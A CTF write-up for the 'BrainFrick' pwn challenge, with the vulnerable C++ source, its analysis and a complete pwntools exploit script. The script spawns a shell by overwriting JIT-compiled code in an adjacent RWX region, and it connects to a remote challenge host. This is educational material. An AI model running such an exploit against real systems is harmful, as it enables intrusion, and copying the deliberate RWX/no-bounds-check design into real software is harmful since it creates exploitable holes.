Skip to main content

🧠 BrainFrick

  • Solves: 20
  • Score: 300
  • Technique: Unchecked Bounds

Brainfuck is cool, but interpreters written in js are slow, we need performance!

Note: May not be able to explain the approach well enough for this challenge, but I'll try my best!

Approach​

Files provided for the challenge:

  • ELF file - brainfrick
  • C file - brainfrick.cpp

Check protections​

Command:

$ checksec --file=brainfrick

Output:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

All protections enabled.

Source code​

brainfrick.cpp:

#include <iostream>
#include <iomanip>
#include <map>
#include <vector>
#include <cstring>

#include <sys/mman.h>

using std::vector, std::map, std::string;

using byte = unsigned char;

template<typename T>
void vector_append(vector<T>& into, const vector<T>& from) {
	into.insert(into.end(), from.begin(), from.end());
}

vector<byte> compile(const string& code) {
	vector<byte> compiled;
	const map<char, vector<byte>> instructions = {
		{'>', {0x48, 0xff, 0xc3}}, // ptr++ -> inc rbx;
		{'<', {0x48, 0xff, 0xcb}}, // ptr-- -> dec rbx;
		{'+', {0xfe, 0x03}}, // *ptr++ -> inc byte ptr [rbx];
		{'-', {0xfe, 0x0b}}, // *ptr-- -> dec byte ptr [rbx];
		{'.',
			{
				0x48, 0x31, 0xc0, 0xb0, 0x01, // xor rax, rax; mov al, 1; (rax = 1 - syscall: write)
				0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00, // mov rdi, 1; (rdi = 1 - fd: stdout)
				0x48, 0x89, 0xde, // mov rsi, rbx; (rsi = rbx - buff: current char)
				0x48, 0x31, 0xd2, 0xb2, 0x01, // xor rdx, rdx; mov dl, 1; (rdx = 1 - count: 1)
				0x0f, 0x05 // syscall - write(stdou, rbx, 1)
			}}, // putc(*ptr)
	};
	const vector<byte> compiled_end = {
		0x48, 0xC7, 0xC0, 0x3C, 0x00, 0x00, 0x00, // mov rax, 0x3c
		0x0F, 0x05 // syscall (exit())
	};
	for (char c: code) {
		auto found_instruction = instructions.find(c);
		if(found_instruction != instructions.end()) {
			vector_append<>(compiled, found_instruction->second);
		}
	}
	vector_append(compiled, compiled_end);
	return compiled;
}

std::string read_code() {
	std::string code;
	std::cin >> std::setw(0x4000) >> code;
	return code;
}

void print_instruction() {
	std::setbuf(stdin, nullptr);
	std::setbuf(stdout, nullptr);

	std::cout << "Welcome to blazing fast brainfuck compiler!\n";
	std::cout << "Compile your brainfuck code into highly optimized native code to execute your brainfuck code faster then ever!\n";
	std::cout << "(note that jump instructions have been removed, to make sure all programs terminate ";
	std::cout << "but that means that it's very secure!)\n";

	std::cout << "Example program:\n";
	std::cout << "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>";
	std::cout << "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>";
	std::cout << "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++";
	std::cout << "<<.>>.<.<.\n";

	std::cout << "Enter your code:\n";
}

void execute_code(vector<byte> compiled) {
	const int DATA_SIZE = 0x200;
	char* code_mem = (char*) mmap(nullptr, compiled.size() + DATA_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
	std::memcpy(code_mem, compiled.data(), compiled.size());
	char* data_mem = code_mem + compiled.size();

	asm (
			"mov rbx, %0;" // data pointer stored in rbx
			"jmp %1;" // jump into compiled code
			: // no output
			: "r" (data_mem), "r" (code_mem)
		);
}

int main() {
	print_instruction();
	vector<byte> compiled_code = compile(read_code());
	execute_code(compiled_code);
}

Seems complicated... But let's analyse it by functions.

  • print_instruction: Simply prints program's information with an example of brainfuck code.
  • read_code: Retrieves user supplied brainfuck code (limit of 0x4000 characters).
  • compile_code: This function is slightly more interesting. It maps the users' brainfuck code to assembly byte-code.
    • +: increments the value stored in the pointer, which is stored in $rbx.
    • -: decrements the value in the pointer, which is stored in $rbx.
    • >: increments the pointer stored in $rbx.
    • <: decrements the pointer stored in $rbx.
    • .: writes a character pointed to by ptr stored in $rbx to the standard output.
    • compiled_end: appended to the end of the mapped brainfuck code, which performs exit syscall.
  • execute_code: Create separate memory regions named data_mem and code_mem.
    • data_mem: pointed to by the $rbx register, operations are performed in this region.
    • code_mem: stores and execute the compiled code obtained from compile_code function.

Furthermore, in the code_execute function, we can notice that the data_mem and code_mem regions are next to each other.

asm (
    "mov rbx, %0;" // data pointer stored in rbx
    "jmp %1;" // jump into compiled code
    : // no output
    : "r" (data_mem), "r" (code_mem)
);

Disassemble binary​

main function's pseudocode:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  std::vector<unsigned char> compiled_code; // [rsp+0h] [rbp-80h] BYREF
  std::vector<unsigned char> p_compiled; // [rsp+20h] [rbp-60h] BYREF
  std::__cxx11::string code; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  print_instruction();
  read_code[abi:cxx11](&code);
  compile(&compiled_code, &code);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&code);
  std::vector<unsigned char>::vector(&p_compiled, &compiled_code);
  execute_code(&p_compiled);
  std::vector<unsigned char>::~vector(&p_compiled);
  std::vector<unsigned char>::~vector(&compiled_code);
  return 0;
}

After disassembling the main function, it looked more complicated than the original source code. Therefore, while solving this challenge, I primarily referred to the source code.

Exploit​

To generate the exploit for this program, we make use of the following facts:

Because code_mem and data_mem regions are next to each other...

  • We could modify portions of the code_mem using the data_mem region.
    • The code_mem region comes before the data_mem region (verified using gdb).
    • Address in $rbx points to the start of the data_mem region.
    • < instruction could shift the address stored in $rbx into the code_mem region.
    • code_mem region contains compiled byte codes that are executed by the program.
  • In normal operation of the program, the code_mem stops executing once it reaches the compiled_end byte codes which triggers the exit syscall. This way, the program does not continue executing beyond the specified code_mem address region.
  • To continue execution beyond the specified bounds of the code_mem region, we can simply modify the exit syscall instruction byte-code to something of our choice. i.e. spawning a shell using the execve syscall.

Spawn shell && get flag​

To exploit this program, we spawn a shell using the execve syscall.

  1. Start by shifting address stored in $rbx 9 bytes into the code_mem region.
    • exit syscall bytecode is made up of 9 bytes
    • 9 times of < instruction
exit_syscall = b"\x48\xC7\xC0\x3C\x00\x00\x00\x0F\x05"
payload = b'<' * len(exit_syscall)
  1. Craft shellcode for execve("/bin/sh",0,0)
shellcode = asm(shellcraft.sh())
  1. Compute the difference between the the first 9 bytes of the execve syscall and exit syscall. Increment or decrement them using + or - instructions. Use > to move to the next byte to modify.
  2. Inject the rest of the execve shellcode using the + and > instruction.
bf_spawn_shell = b''
for idx, byte_code in enumerate(shellcode):

    if idx <= 8:
        val = exit_syscall[idx] - byte_code
        print(val)
        if val < 0:
            bf_spawn_shell += b'+'*abs(val)
        elif val > 0:
            bf_spawn_shell += b'-'*val
        bf_spawn_shell += b'>'
        continue

    bf_spawn_shell += b'+'*byte_code
    bf_spawn_shell += b'>'
  1. Lastly, send payload and get flag.
payload += bf_spawn_shell

Remarks: This challenge was fun!

Script​

from pwn import *

elf = context.binary = ELF('./brainfrick')

r = remote('140.238.91.110', 36369)
# r = elf.process()

# r = gdb.debug('./brainfrick', gdbscript=''' break * main-10''')

# to overwrite compiled exit syscall
exit_syscall = b"\x48\xC7\xC0\x3C\x00\x00\x00\x0F\x05"
payload = b'<' * len(exit_syscall)

# shellcode to spawn shell
shellcode = asm(shellcraft.sh())

# overwrite exit syscall and fill region with shellcode
bf_spawn_shell = b''
for idx, byte_code in enumerate(shellcode):

    if idx <= 8:
        val = exit_syscall[idx] - byte_code
        print(val)
        if val < 0:
            bf_spawn_shell += b'+'*abs(val)
        elif val > 0:
            bf_spawn_shell += b'-'*val
        bf_spawn_shell += b'>'
        continue

    bf_spawn_shell += b'+'*byte_code
    bf_spawn_shell += b'>'

payload += bf_spawn_shell

r.sendline(payload)
r.interactive()

Flag​

1753c{bounds_not_checked_brain_is_a_frick}